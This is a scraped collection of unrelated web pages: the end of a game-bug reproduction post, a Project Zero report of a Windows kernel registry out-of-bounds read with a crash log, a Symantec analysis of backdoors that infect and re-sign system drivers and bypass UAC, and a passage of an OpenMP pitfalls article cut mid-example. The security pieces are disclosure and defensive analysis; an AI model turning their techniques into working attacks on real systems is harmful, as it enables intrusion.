	local self = Sample.screen
	local camera_pos = Unit.world_position(self.world_screen.camera_unit, 0)
	local camera_forward = Quaternion.forward(Unit.world_rotation(self.world_screen.camera_unit, 0))
	local box_unit = World.spawn_unit(self.world_screen.world, "units/box/box", camera_pos)
	local box_id = GameSession.create_game_object(self.game, "box", {position=camera_pos})
	self.my_boxes[box_id] = box_unit
	Actor.set_velocity(Unit.actor(box_unit, 0), camera_forward*20)
}
sleep(40)
clients.send_script %q{
	local self = Sample.screen
	local camera_pos = Unit.world_position(self.world_screen.camera_unit, 0)
	local camera_forward = Quaternion.forward(Unit.world_rotation(self.world_screen.camera_unit, 0))
	local box_unit = World.spawn_unit(self.world_screen.world, "units/box/box", camera_pos)
	local box_id = GameSession.create_game_object(self.game, "box", {position=camera_pos})
	self.my_boxes[box_id] = box_unit
	Actor.set_velocity(Unit.actor(box_unit, 0), camera_forward*20)
}
And that is really all. I also added some similar code for shutting down the gameplay session and returning to the main menu so that I could loop the test.
And 500 iterations later, running on the three machines on my desk, the bug was reproduced.
This has also been posted to The Bitsquid blog .
 
﻿https://bugs.chromium.org/p/project-zero/issues/detail?id=874 
874 - Windows Kernel Registry Hive loading: out-of-bounds read in nt!RtlEqualSid - project-zero - Monorail
Created:
12/21/2016 9:22:50 AM
Updated:
12/21/2016 9:22:50 AM
Author:

Tags:
vulnerability windows environment registry




Windows Kernel Registry Hive loading: out-of-bounds read in nt!RtlEqualSid


Starred by 1 user 
Project Member Reported by mjurczyk@google.com, Jul 21 
Back to list
Status:
Fixed
Owner:
mjurczyk@google.com 
Closed:
Nov 9 
Cc:
project-...@google.com 
Finder-forshaw
Severity-Medium
Product-Kernel
Deadline-90
CCProjectZeroMembers
Finder-mjurczyk
Vendor-Microsoft
MSRC-34184
Reported-2016-Aug-22
Fixed-2016-Nov-8
CVE-2016-7216


Sign in to add a comment
We have encountered a Windows kernel crash in the nt!RtlEqualSid function invoked through nt!SeAccessCheck by nt!CmpCheckSecurityCellAccess while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: a1f11004, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 816d40b3, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.

Debugging Details:
------------------

[...]

STACK_TEXT:  
92bbb5e4 816f92b9 a1f11004 83af4ff0 92bbb6ac nt!RtlEqualSid+0x9
92bbb604 816d3292 00000000 20204d43 00000000 nt!RtlpOwnerAcesPresent+0x87
92bbb634 816d3cfe a1f10f50 00000001 00bbb6b0 nt!SeAccessCheckWithHint+0x178
92bbb668 818f8ff8 a1f10f50 92bbb6b0 00000000 nt!SeAccessCheck+0x2a
92bbb6c0 81820906 a75e69c8 000051d8 00000001 nt!CmpCheckSecurityCellAccess+0xe5
92bbb6fc 818206ad 03010001 92bbb728 92bbb718 nt!CmpValidateHiveSecurityDescriptors+0x1bd
92bbb73c 8182308f 03010001 80000588 8000054c nt!CmCheckRegistry+0xd8
92bbb798 817f6fa0 92bbb828 00000002 00000000 nt!CmpInitializeHive+0x55c
92bbb85c 817f7d85 92bbbbb8 00000000 92bbb9f4 nt!CmpInitHiveFromFile+0x1be
92bbb9c0 817ffaae 92bbbbb8 92bbba88 92bbba0c nt!CmpCmdHiveOpen+0x50
92bbbacc 817f83b8 92bbbb90 92bbbbb8 00000010 nt!CmLoadKey+0x459
92bbbc0c 8168edc6 0014f8a4 00000000 00000010 nt!NtLoadKeyEx+0x56c
92bbbc0c 77cc6bf4 0014f8a4 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0014f90c 00000000 00000000 00000000 00000000 0x77cc6bf4

[...]

FOLLOWUP_IP: 
nt!RtlEqualSid+9
816d40b3 668b06          mov     ax,word ptr [esi]
---

The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for the NT kernel (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation. In order to reproduce the problem with the provided sample, it is necessary to load it with a dedicated program which calls the RegLoadAppKey() API.

Attached is a proof of concept hive file.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
 

﻿http://www.symantec.com/connect/ko/blogs/64-bit-system-driver-infected-and-signed-after-uac-bypassed 
64-Bit System Driver Infected and Signed After UAC Bypassed | Symantec Connect Community
Created:
3/15/2012 3:14:45 PM
Updated:
3/15/2012 2:15:21 PM
Author:

Tags:
reversing kernel windbg x64 Driver


64-Bit System Driver Infected and Signed After UAC Bypassed
Updated: 14 hours 55 min ago | Translations available: 日本語

Mircea Ciubotariu
SYMANTEC EMPLOYEE
0
0 Votes 

What was just a theory not so long ago is now being used in-the-wild by threats such as Backdoor.Hackersdoor and its newer variant Backdoor.Conpee.
Back in December we analyzed tdpipe.sys, an infected 64-bit Windows 7 system driver. The infection consisted of an extra import added to the driver’s import table:

The import named DiscPart from pipe.sys ensures that the malicious file pipe.sys is loaded at the same time as the system driver tdpipe.sys, although it simply returns without doing anything.
This is a common method employed by malware authors to ensure the malware they create runs when the compromised computer starts. The advantages to this technique are that the malware does not create any detectable load points—either through registry or links—and it is difficult to spot due to minimal changes made to the file.
What is unusual though is that the driver was signed after the infection:


Driver signing is enforced by default on any 64-bit Windows Vista or Windows 7 operating system, requiring malware authors to either bypass the signing process (mostly done through bootkits) or forcing them to have the infected system drivers re-signed after infection, as in this case.
The latter case is unusual as it requires a valid certificate—most likely stolen from its rightful owner—and results in certificate revocation when surreptitious use is discovered, limiting the time window these signed threats could remain undetected. Moreover, if the same certificate is used for several threats that are not yet being detected, all of them will be rendered useless when the certificate is revoked.
In this threat’s case, the certificate was revoked by the owner about nine days after it was used:

With that in mind, the time window available for the attackers to remain undetected would be a little greater, due to the fact that operating systems rarely check, or don’t check at all, the certificate revocation list (CRL).
While Symantec detects the infected driver as Backdoor.Hackersdr!inf and the malicious payload pipe.sys as Backdoor.Hackersdoor, we have not been able to find a dropper or file infector that produces the infected driver yet so we cannot say with certainty whether the threat signed the infected driver itself or it was simply dropped on to the computer.
Recently we discovered a newer variant of the threat, Backdoor.Conpee, which infects both 32-bit and 64-bit Windows operating systems. It does not infect drivers, only system DLLs, using the same added import technique. What is also interesting about this threat is that it does not require any privileges to run under Windows 7, as it uses a proof-of-concept exploit—publicly available and known since 2009—that can elevate the privileges of any restricted process to Administrator level without the user’s permission or interaction. The latest fully patched and updated version of Windows 7 is still vulnerable to this exploit. The authors did not even bother to remove the comments from the exploit .dll file:

It's worth noting the copyright notice amusingly reads,"... all rights reserved. You are expressly forbidden from using this for malicious purposes."
Given the small number of infections observed by Symantec in-the-wild, we might assume that digital signing of infected tdpipe.sys was only a test case for the malware authors trying different approaches to compromise the more secure 64-bit Windows operating systems. Regardless, it proves, once again, the length malware creators will go to achieve their goals.

﻿http://www.viva64.com/en/a/0054/ 
32 OpenMP Traps For C++ Developers
Created:
3/15/2012 3:17:42 PM
Updated:
3/15/2012 2:18:40 PM
Author:

Tags:
C++ code-review code-checks awesome multi-threading


32 OpenMP Traps For C++ Developers 








20.11.2009 Alexey Kolosov, Andrey Karpov, Evgeniy Ryzhkov 
Abstract
Introduction
Logical errors
1. Missing /openmp option
2. Missing parallel keyword
3. Missing omp keyword
4. Missing for keyword
5. Unnecessary parallelization
6. Incorrect usage of the ordered clause
7. Redefining the number of threads in a parallel section
8. Using a lock variable without initializing the variable
9. Unsetting a lock from another thread
10. Using a lock as a barrier
11. Threads number dependency
12. Incorrect usage of dynamic threads creation
13. Concurrent usage of a shared resource
14. Shared memory access unprotected
15. Using the flush directive with a reference type
16. Missing flush directive
17. Missing synchronization
18. An external variable is specified as threadprivate not in all units
19. Uninitialized local variables
20. Forgotten threadprivate directive
21. Forgotten private clause
22. Incorrect worksharing with private variables
23. Careless usage of the lastprivate clause
24. Unexpected values of threadprivate variables in the beginning of parallel sections
25. Some restrictions of private variables
26. Private variables are not marked as such
27. Parallel array processing without iteration ordering
Performance errors
1. Unnecessary flush directive
2. Using critical sections or locks instead of the atomic directive
3. Unnecessary concurrent memory writing protection
4. Too much work in a critical section
5. Too many entries to critical sections
Conclusion
References
Abstract
Since multi-core systems are spreading fast, the problem of parallel programming becomes more and more urgent. However, even the majority of experienced developers are new to this sphere. The existing compilers and code analyzers allow finding some bugs, which appear during parallel code development. However, many errors are not diagnosed. The article contains description of a number of errors, which lead to incorrect behavior of parallel programs created with OpenMP.
Introduction
Parallel programming appeared a long time ago. The first multiprocessor computer was created in 1960s. However, processors' performance increase has been achieved through clock frequency increment and multiprocessor systems have been rare until recently. The clock frequency increment slows down nowadays and processors' performance increase is achieved through multiple cores. Multi-core processors are spread widely, therefore the problem of parallel programming becomes more and more urgent. Earlier it was enough to install a CPU with a higher clock frequency or larger cache memory to increase a program's performance. Nowadays this approach is useless and a developer will have to modify the program in order to increase the program's performance.
Since parallel programming begins gaining in popularity only now, the process of an existing application parallelization or a new parallel program creation may become very problematic even for experienced developers since this sphere is new for them. Currently existing compilers and code analyzers allow finding only some (very few) potential errors. All other errors remain unrecorded and may increase debug and testing time significantly. Besides that, almost all errors of this kind cannot be stably reproduced. The article concerns the C++ language, since C++ programs are usually demanded to work fast. Since Visual Studio 2005 & 2008 support the OpenMP 2.0 standard, we will concern the OpenMP technology. OpenMP allows you to parallelize your code with minimal efforts - all you need to do is to enable the /openmp compiler option and add the needed compiler directives describing how the program's execution flow should be parallelized to your code.
This article describes only some of the potential errors which are not diagnosed by compilers, static code analyzers and dynamic code analyzers. However, we hope that this paper will help you understand some peculiarities of parallel development and avoid multiple errors.
Also, please note that this paper contains research results, which will be used in the VivaMP static analyzer development. The static analyzer will be designed to find errors in parallel programs created with OpenMP. We are very interested in receiving feedback on this article and learning more patterns of parallel programming errors.
The errors described in this article are split into logical errors and performance errors similar to the approach used in one of the references [1]. Logical errors are errors, which cause unexpected results, i.e. incorrect program behavior. Performance errors are errors, which decrease a program's performance.
First of all, let us define some specific terms which will be used in this article:
Directives are OpenMP directives which define code parallelization means. All OpenMP directives have the appearance of #pragma omp ...
Clauses are auxiliary parts of OpenMP directives. Clauses define how a work is shared between threads, the number of threads, variables access mode, etc.
Parallel section is a code fragment to which the #pragma omp parallel directive is applied.
The article is for developers who are familiar to OpenMP and use the technology in their programs. If you are not familiar with OpenMP, we recommend that you take a look at the document [2]. A more detailed description of OpenMP directives, clauses, functions and environment variables can be found in the OpenMP 2.0 specification [3]. The specification is duplicated in the MSDN Library and this form of specification is more handy, then the one in the PDF format.
Now, let us describe the potential errors which are badly diagnosed by standard compilers or are not diagnosed at all.
Logical errors
1. Missing /openmp option
Let's start with the simplest error: OpenMP directives will be ignored if OpenMP support is not enabled in the compiler settings. The compiler will not report an error or even a warning, the code simply will not work the way the developer expects.
OpenMP support can be enabled in the "Configuration Properties | C/C++ | Language" section of the project properties dialog.
2. Missing parallel keyword
OpenMP directives have rather complex format, therefore first of all we are considering the simplest errors caused by incorrect directive format. The listings below show incorrect and correct versions of the same code:
Incorrectly:
#pragma omp for
... //your code
Correctly:
#pragma omp parallel for 
... // your code
#pragma omp parallel
{
  #pragma omp for
  ... //your code
}
The first code fragment will be successfully compiled, and the #pragma omp for directive will be simply ignored by the compiler. Therefore, a single thread only will execute the loop, and it will be rather difficult for a developer to find this out. Besides the #pragma omp parallel for directive, the error may also occur with the #pragma omp parallel sections directive.
3. Missing omp keyword
A problem similar to the previous one occurs if you omit the omp keyword in an OpenMP directive [4]. Let's take a look at the following simple example:
Incorrectly:
#pragma omp parallel num_threads(2)
{
   #pragma single
   {
     printf("me\n");
   }
}
Correctly:
#pragma omp parallel num_threads(2)
{
   #pragma omp single
   {
     printf("me\n");
   }
}
The "me" string will be printed twice, not once. The compiler will report the "warning C4068: unknown pragma" warning. However, warnings can be disabled in the project's properties or simply ignored by a developer.
4. Missing for keyword
The #pragma omp parallel directive may be applied to a single code line as well as to a code fragment. This fact may cause unexpected behavior of the for loop shown below:
#pragma omp parallel num_threads(2)
for (int i = 0; i < 10; i++)
   myFunc();
If the developer wanted to share the loop between two threads, he should have used the #pragma omp parallel for directive. In this case the loop would have been executed 10 times indeed. However, the code above will be executed once in every thread. As the result, the myFunc function will be called 20 times. The correct version of the code is provided below:
#pragma omp parallel for num_threads(2)
for (int i = 0; i < 10; i++)
   myFunc();
5. Unnecessary parallelization
Applying the #pragma omp parallel directive to a large code fragment may cause unexpected behavior in cases similar to the one below:
#pragma omp parallel num_threads(2)
{
    ... // N code lines
    #pragma omp parallel for
    for (int i = 0; i < 10; i++)
    {
         myFunc();
    }
}
In the code above a forgetful or an inexperienced developer who wanted to share the loop execution between two threads placed the parallel keyword inside a parallel section. The result of the code execution will be similar to the previous example: the myFunc function will be called 20 times, not 10. The correct version of the code should look like this:
#pragma omp parallel num_threads(2)
{
    ... // N code lines
    #pragma omp for
    for (int i = 0; i < 10; i++)
    {
         myFunc();
    }
}
6. Incorrect usage of the ordered clause
The ordered directive may cause problems for developers who are new to OpenMP [1]. Let's consider the following sample:
Incorrectly:
#pragma omp parallel for ordered
for (int i = 0; i < 10; i++)
{
    myFunc(i);
}
Correctly:
#pragma omp parallel for ordered
for (int i = 0; i < 10; i++)
{
    #pragma omp ordered
    {
           myFunc(i);
    }
}
In the first code fragment the ordered clause will be simply ignored, because its scope was not specified. The loop will still be executed in a random order (which may sometimes become ascending order if you're lucky).
7. Redefining the number of threads in a parallel section
Now, let us consider more complex errors, which may be caused by insufficient understanding of the OpenMP standard. According to the OpenMP 2.0 specification [3] the number of threads cannot be redefined inside a parallel section. Such an attempt will cause run-time errors and program termination of a C++ program. For example:
Incorrectly:
#pragma omp parallel
{
    omp_set_num_threads(2);
    #pragma omp for
    for (int i = 0; i < 10; i++)
    {
         myFunc();
    }
}
Correctly:
#pragma omp parallel num_threads(2)
{
    #pragma omp for
    for (int i = 0; i < 10; i++)
    {
      myFunc();
    }
}
Correctly:
omp_set_num_threads(2)
#pragma omp parallel 
{
    #pragma omp for
    for (int i = 0; i < 10; i++)
    {
         myFunc();
    }
}
8. Using a lock variable without initializing the variable
According to the OpenMP 2.0 specification [3] all lock variables must be initialized via the omp_init_lock or omp_init_nest_lock function call (depending on the variable type). A lock variable can be used only after initialization. An attempt to use (set, unset, test) an uninitialized lock variable In a C++ program will cause a run-time error.
Incorrectly:
omp_lock_t myLock;
#pragma omp parallel num_threads(2)
{
    ...
    omp_set_lock(&myLock);
    ...
}
Correctly:
omp_lock_t myLock;
omp_init_lock(&myLock);
#pragma omp parallel num_threads(2)
{
    ...
    omp_set_lock(&myLock);
    ...
}
9. Unsetting a lock from another thread
If a lock is set in a thread, an attempt to unset this lock in another thread will cause unpredictable behavior [3]. Let's consider the following example:
Incorrectly:
omp_lock_t myLock;
omp_init_lock(&myLock);
#pragma omp parallel sections
{
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          ...
    }
    #pragma omp section
    {
          ...
          omp_unset_lock(&myLock);
          ...
    }
}
This code will cause a run-time error in a C++ program. Since lock set and unset operations are similar to entering and leaving a critical section, every thread, which uses locks should perform both operations. Here is a correct version of the code:
Correctly:
omp_lock_t myLock;
omp_init_lock(&myLock);
#pragma omp parallel sections
{
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          ...
          omp_unset_lock(&myLock);
          ...
    }
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          ...
          omp_unset_lock(&myLock);
          ...
    }
}
10. Using a lock as a barrier
The omp_set_lock function blocks execution of a thread until the lock variable becomes available, i.e. until the same thread calls the omp_unset_lock function. Therefore, as it has already been mentioned in the description of the previous error, each of the threads should call both functions. A developer with insufficient understanding of OpenMP may try to use the omp_set_lock function as a barrier, i.e. instead of the #pragma omp barrier directive (since the directive cannot be used inside a parallel section, to which the #pragma omp sections directive is applied). As the result the following code will be created:
Incorrectly:
omp_lock_t myLock;
omp_init_lock(&myLock);
#pragma omp parallel sections
{
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          ...
    }
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          omp_unset_lock(&myLock);
          ...
    }
}
Sometimes the program will be executed successfully. Sometimes it will not. This depends on the thread which finishes its execution first. If the thread which blocks the lock variable without releasing it will be finished first, the program will work as expected. In all other cases the program will infinitely wait for the thread, which works with the lock variable incorrectly, to unset the variable. A similar problem will occur if the developer will place the omp_test_lock function call inside a loop (and that is the way the function is usually used). In this case the loop will make the program hang, because the lock will never be unset.
Since this error is similar to the previous one, the fixed version of the code will remain the same:
Correctly:
omp_lock_t myLock;
omp_init_lock(&myLock);
#pragma omp parallel sections
{
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          ...
          omp_unset_lock(&myLock);
          ...
    }
    #pragma omp section
    {
          ...
          omp_set_lock(&myLock);
          ...
          omp_unset_lock(&myLock);
          ...
    }
}
11. Threads number dependency
The number of parallel threads created during a program execution is not a constant value in general case. The number is usually equal to the number of processors by default. However, a developer can specify the number of threads explicitly (for example, using the omp_set_num_threads function or the num_threads clause, which has higher priority than the function). The number of threads can also be specified via the OMP_NUM_THREADS environment variable, which has the lowest priority. Therefore, the number of threads, which currently execute a parallel section, is a very unreliable value. Besides, the value may vary from one machine to another. The behavior of your code should not depend on the number of threads, which execute the code, unless you are entirely sure that this is really necessary.
Let's consider an example from the article [5]. The following program should have printed all letters of the English alphabet according to the developer's plan.
Incorrectly:
omp_set_num_threads(4);
#pragma omp parallel private(i)
{
    int LettersPerThread = 26 / omp_get_num_threads();
    int ThisThreadNum = omp_get_thread_num();
    int StartLetter = 'a' + ThisThreadNum * LettersPerThread;
    int EndLetter = 'a' + ThisThreadNum * LettersPerThread + LettersPerThread;
    for (int i=StartLetter; i<EndLetter; i++)
         printf ("%c", i);
}
However, only 24 of 26 letters will be printed. The cause of the problem is that 26 (the total number of letters) do not contain 4 (the number of threads). Therefore, the two letters remaining will not be printed. To fix the problem one can either significantly modify the code so that the code will not use the number of threads or share the work between a correct number of threads (e.g. 2 threads). Suppose the developer decided not to use the number of threads in his program and let the compiler share work between threads. In this case the fixed version of the code will be similar to the following one:
Correctly:
omp_set_num_threads(4);
#pragma omp parallel for
for (int i = 'a'; i <= 'z'; i++)
{
     printf ("%c", i);
}
All iterations of the loop will surely be executed. One can specify the way the iterations are shared between threads using the schedule clause. Now, the compiler will share work between the threads and he will never forget about the two "additional" iterations. In addition, the resulting code is significantly shorter and readable.
12. Incorrect usage of dynamic threads creation
The dynamic keyword may appear in two different contexts in OpenMP: in the schedule(dynamic) clause and in the OMP_DYNAMIC environment variable, which makes a little mess of this. It is important to understand the difference between the two cases. One should not think that the schedule(dynamic) clause can be used only if the OMP_DYNAMIC variable is equal to true. The two cases are not related at all, actually.
The schedule(dynamic) clause means that iterations of a loop are split into chunks, which are dynamically shared between threads. When a thread finishes execution of a chunk, the thread will start executing the following "portion". If we apply this clause to the previous example, each of the 4 threads will print 6 letters and then the thread, which will become free first, will print the last 2 letters.
The OMP_DYNAMIC variable sets, whether the compiler can define the number of threads dynamically. The cause of a possible problem with this variable is that the variable's priority is even higher than the one of the num_threads clause. Therefore, if the variable's value is equal to true, the setting overrides num_threads, omp_set_num_threads and OMP_NUM_THREADS. If a program's behavior depends on the number of threads, this may cause unexpected results. This is another argument for creating code, which does not depend on the number of threads.
As experience has shown, the value of the OMP_DYNAMIC environment variable is equal to false by default in Visual Studio 2008. However, there is no guarantee that this situation will remain unchanged in the future. The OpenMP specification [3] states that the variable's value is implementation-specific. Therefore, if the developer from the previous example chose an easier way and decided to use the number of threads in his calculations instead of modifying the code significantly, he should make sure that the number of threads would always be equal to the one he needs. Otherwise the code will not work correctly on a four-processor machine.
Correctly:
if (omp_get_dynamic())
  omp_set_dynamic(0);
omp_set_num_threads(2);
#pragma omp parallel private(i)
{
    int LettersPerThread = 26 / omp_get_num_threads();
    int ThisThreadNum = omp_get_thread_num();
    int StartLetter = 'a' + ThisThreadNum * LettersPerThread;
    int EndLetter = 'a' + ThisThreadNum * LettersPerThread + LettersPerThread;
    for (i=StartLetter; i<EndLetter; i++)
          printf ("%c", i);
}
13. Concurrent usage of a shared resource
If we modify the previous example's code so that the code prints at least two or more letters at a time (not one by one in a random order as it currently does), we will observe one more parallel programming problem, the problem of concurrent shared resource usage. In this case the resource is the application's console. Let's consider a slightly modified example from the article [6].
Incorrectly:
#pragma omp parallel num_threads(2)
{ 
    printf("Hello World\n");
}
In spite of the developer's expectations, the program's output on a two-processor machine will be similar to the following two lines:
HellHell oo WorWlodrl
d
The behavior is caused by the fact that the string output operation is not atomic. Therefore, the two threads will print their characters simultaneously. The same problem will occur if you use the standard output thread (cout) or any other object accessible to the threads as a shared variable.
If it is necessary to perform an action, which changes a shared object's state, from two threads, one should make sure that the action is performed by a single thread at a time. One can use locks or critical sections to achieve this. The most preferable approach will be discussed further.
Correctly:
#pragma omp parallel num_threads(2)
{ 
    #pragma omp critical
    {
          printf("Hello World\n");
    }
}
14. Shared memory access unprotected
This error is described in the article [1]. The error is similar to the previous one: if several threads are modifying a variable's value concurrently, the result is unpredictable. However, the error is considered separately from the previous one, because in this case the solution will be slightly different. Since an operation on a variable can be atomic, it is more preferable to use the atomic directive in this case. This approach will provide better performance than critical sections. Detailed recommendations on shared memory protection will be provided further.
Incorrectly:
int a = 0;
#pragma omp parallel
{ 
    a++;
}
Correctly:
int a = 0;
#pragma omp parallel
{ 
    #pragma omp atomic
    a++;
}
Another possible solution is to use the reduction clause. In this case every thread will get its own copy of the a variable, perform all the needed actions on this copy and then perform the specified operation to merge all the copies.
Correctly:
int a = 0;
#pragma omp parallel reduction(+:a)
{ 
    a++;
}
printf("a=%d\n", a); 
The code above, being executed by two threads, will print the "a=2" string.
15. Using the flush directive with a reference type
The flush directive makes all the threads refresh values of shared variables. For example, if a thread assigns 1 to a shared variable a, it does not guarantee that another thread reading the variable will get 1. Please note that the directive refreshes only the variables' values. If an application's code contains a shared reference pointing to an object, the flush directive will refresh only the value of the reference (a memory address), but not the object's state. In addition, the OpenMP specification [3] states explicitly that the flush directive's argument cannot be a reference.
Incorrectly:
MyClass* mc = new MyClass();
#pragma omp parallel sections
{
    #pragma omp section
    {
          #pragma omp flush(mc)
          mc->myFunc();
          #pragma omp flush(mc)
    }
    #pragma omp section
    {
          #pragma omp flush(mc)
          mc->myFunc();
          #pragma omp flush(mc)
    }
}
The code below actually contains two errors: concurrent access to a shared object, which has already been described above, and usage of the flush directive with a reference type. Therefore, if the myFunc method changes the object's state, the result of the code execution is unpredictable. To avoid the errors one should get rid of concurrent usage of the shared object. Please note that the flush directive is executed implicitly at entry to and at exit from critical sections (this fact will be discussed later).
Correctly:
MyClass* mc = new MyClass();
#pragma omp parallel sections
{
    #pragma omp section
    {
          #pragma omp critical
          {
                 mc->myFunc();
          }
    }
    #pragma omp section
    {
          #pragma omp critical
          {
                mc->myFunc();
          }
    }
}
16. Missing flush directive
According to the OpenMP specification [3], the directive is implied in many cases. The full list of such cases will be provided further. A developer may count upon this fact and forget to place the directive in a place where it is really necessary. The flush directive is not implied in the following cases:
· At entry to for.
· At entry to or exit from master.
· At entry to sections.
· At entry to single.
· At exit from for, single or sections, if the nowait clause is applied to the directive. The clause removes implicit flush along with the implicit barrier.
Incorrectly:
int a = 0;
#pragma omp parallel num_threads(2)
{
    a++;
    #pragma omp single
    {
          cout << a << endl;
    }
}
Correctly:
int a = 0;
#pragma omp parallel num_threads(2)
{
    a++;
    #pragma omp single
    {
          #pragma omp flush(a)
          cout << a << endl;
    }
}
The latest version of the code uses the flush directive, but it is not ideal too. This version lacks of synchronization.
17. Missing synchronization
Besides the necessity of the flush directive usage, a developer should also keep in mind threads synchronization.
The corrected version of the previous example does not guarantee that the "2" string will be printed to the application's console window. The thread executing the section will print the value of the a variable which was actual at the moment the output operation was performed. However, there is no guarantee that both threads will reach the single directive simultaneously. In general case the value might be equal to "1" as well as "2". This behavior is caused by missing threads synchronization. The single directive means that the corresponding section should be executed only by a single thread. However, it is equiprobable that the section will be executed by the thread which finishes its execution first. In this case the "1" string will be printed. A similar error is described in the article [7].
Implicit synchronization via an implied barrier directive is performed only at exit from the for, single or sections directive, if the nowait clause is not applied to the directive (the clause removes the implicit barrier). In all other cases the developer should take care of the synchronization.
Correctly:
int a = 0;
#pragma omp parallel num_threads(2)
{
    #pragma omp atomic
    a++;
    #pragma omp barrier
    #pragma omp single
    {
          cout<<a<<endl;
    }
}
This version of the code is entirely correct: the program will always print the "2" string. Please note that this version does not contain the flush directive since it is implicitly included in the barrier directive.
Now, let us consider one more example of missing synchronization. The example is taken from the MSDN Library [8].
Incorrectly:
struct MyType 
{
    ~MyType();
};
MyType threaded_var;
#pragma omp threadprivate(threaded_var)
int main() 
{
    #pragma omp parallel
    {
      ...
    }
}
The code is incorrect, because there is no synchronization at exit from the parallel section. As the result, when the application's process execution finishes, some of the threads will still exist and they will not get a notification about the fact that the process execution is finished. The destructor of the threaded_var variable will actually be called only in the main thread. Since the variable is threadprivate, its copies created in other threads will not be destroyed and a memory leak will occur. It is necessary to implement synchronization manually in order to avoid this problem.
Correctly:
struct MyType 
{
    ~MyType();
};
MyType threaded_var;
#pragma omp threadprivate(threaded_var)
int main() 
{
    #pragma omp parallel
    {
           ...
           #pragma omp barrier
    }    
}
18. An external variable is specified as threadprivate not in all units
We're beginning to discuss the most troublesome errors: the errors related to the OpenMP memory model. And this one is the first error of this type. The concurrent access to shared memory can also be treated as an error related to the OpenMP memory model since the error is related to shared variables and all global-scope variables are shared by default in OpenMP.
Before we start discussing memory model errors, please note that they all are related to private, firstprivate, lastprivate and threadprivate variables. One can avoid most of the errors if he avoids using the threadprivate directive and the private clause. We recommend declaring the needed variables as local variables in parallel sections instead.
Now, when you're warned, let's start discussing the memory model errors. We'll start with the threadprivate directive. The directive is usually applied to global variables, including external variables declared in another units. In this case the directive should be applied to the variable in all the units in which the variable is used. This rule is described in the abovementioned MSDN Library article [8].
A special case of this rule is another rule described in the same article: the threadprivate directive cannot be applied to variables declared in a DLL which will be loaded via the LoadLibrary function or the /DELAYLOAD linker option (since the LoadLibrary function is used implicitly in this case).
19. Uninitialized local variables
When a thread starts, local copies of threadprivate, private and lastprivate variables are created for this thread. The copies are unitialized by default. Therefore, any attempt to work with the variables without initializing them, will cause a run-time error.
Incorrectly:
int a = 0;
#pragma omp parallel private(a)
{
    a++;
}
Correctly:
int a = 0;
#pragma omp parallel private(a)
{
    a = 0;
    a++;
}
Please note that there is no need to use synchronization and the flush directive since every thread has its own copy of the variable.
20. Forgotten threadprivate directive
Since the threadprivate directive is applied only once and used for global variables declared in the beginning of a unit, it's easy to forget about the directive: for example, when it's necessary to modify a unit created half a year ago. As the result, the developer will expect a global variable to become shared, as it should be by default. However, the variable will become local for every parallel thread. According to the OpenMP specification [3], the variable's value after a parallel section is unpredictable in this case.
Incorrectly:
int a;
#pragma omp threadprivate(a)
int _tmain(int argc, _TCHAR* argv[])
{
    ...
    a = 0;
    #pragma omp parallel
    {
          #pragma omp sections
          {
                 #pragma omp section 
                 {
                       a += 3;
                 }
                 #pragma omp section
                 {
                       a += 3;
                 }
           }
           #pragma omp barrier
    }
    cout << "a = " << a << endl;
}
The program will behave as described in the specification: sometimes "6" (the value the developer expects) will be printed in a console window. Sometimes, however, the program will print "0". This result is more logical, since 0 is the value assigned to the variable before the parallel section. In theory, the same behavior should be observed if the a variable is declared as private or firstprivate. In practice, however, we have reproduced the behavior only with the threadprivate directive. Therefore, the example above contains this directive. In addition, this case is the most probable.
This fact, however, does not mean that the behavior in the other two cases will be correct in all other implementations; so, one should consider the cases too.
Unfortunately, it is difficult to provide a good solution in this case, because removing the threadprivate directive will change the program's behavior and declaring a threadprivate variable as shared is forbidden by OpenMP syntax rules. The only possible workaround is to use another variable.
Correctly:
int a;
#pragma omp threadprivate(a)
int _tmain(int argc, _TCHAR* argv[])
{
    ...
    a = 0;
    int b = a;
    #pragma omp parallel
    {
          #pragma omp sections
          {
                 #pragma omp section 
                 {
                       b += 3;
                 }
                 #pragma omp section
                 {
                       b += 3;
                 }
           }
           #pragma omp barrier
    }
    a = b;
    cout << "a = " << a << endl;
}
In this version the a variable becomes a shared variable for the parallel section. Of course, this solution is not the best one. However, this solution guarantees that the old code will not change its behavior.
We recommend that beginners use the default(none) clause to avoid such problems. The clause will make the developer specify access modes for all global variables used in a parallel section. Of course, this will make your code grow, but you will avoid many errors and the code will become more readable.
21. Forgotten private clause
Let's consider a scenario similar to the previous case: a developer needs to modify a unit created some time ago and the clause defining a variable's access mode is located far enough from the code fragment to be modified.
Incorrectly:
int a;
#pragma omp parallel private(a)
{
...
a = 0;
#pragma omp for
for (int i = 0; i < 10; i++)
{
    #pragma omp atomic
    a++;
}
#pragma omp critical
{
   cout << "a = " << a;
}
}
This error seems to be an equivalent of the previous one. However, it is not true. In the previous case the result was printed after a parallel section and in this case the value is printed from a parallel section. As the result, if the variable's value before the loop is equal to zero, the code will print "5" instead of "10" on a two-processor machine. The cause of the behavior is that the work is shared between two threads. Each thread will get its own local copy of the a variable and increase the variable five times instead of the expected ten times. Moreover, the resulting value will depend on the number of threads executing the parallel section. By the way, the error will also occur if one uses the firstprivate clause instead of the private clause.
Possible solutions are similar to the ones provided for the previous case: one should either significantly modify all older code or modify the new code so that it will be compatible with the behavior of the old code. In this case the second solution is more elegant than the one provided for the previous case.
Correctly:
int a;
#pragma omp parallel private(a)
{
...
a = 0;
#pragma omp parallel for
for (int i = 0; i < 10; i++)
{
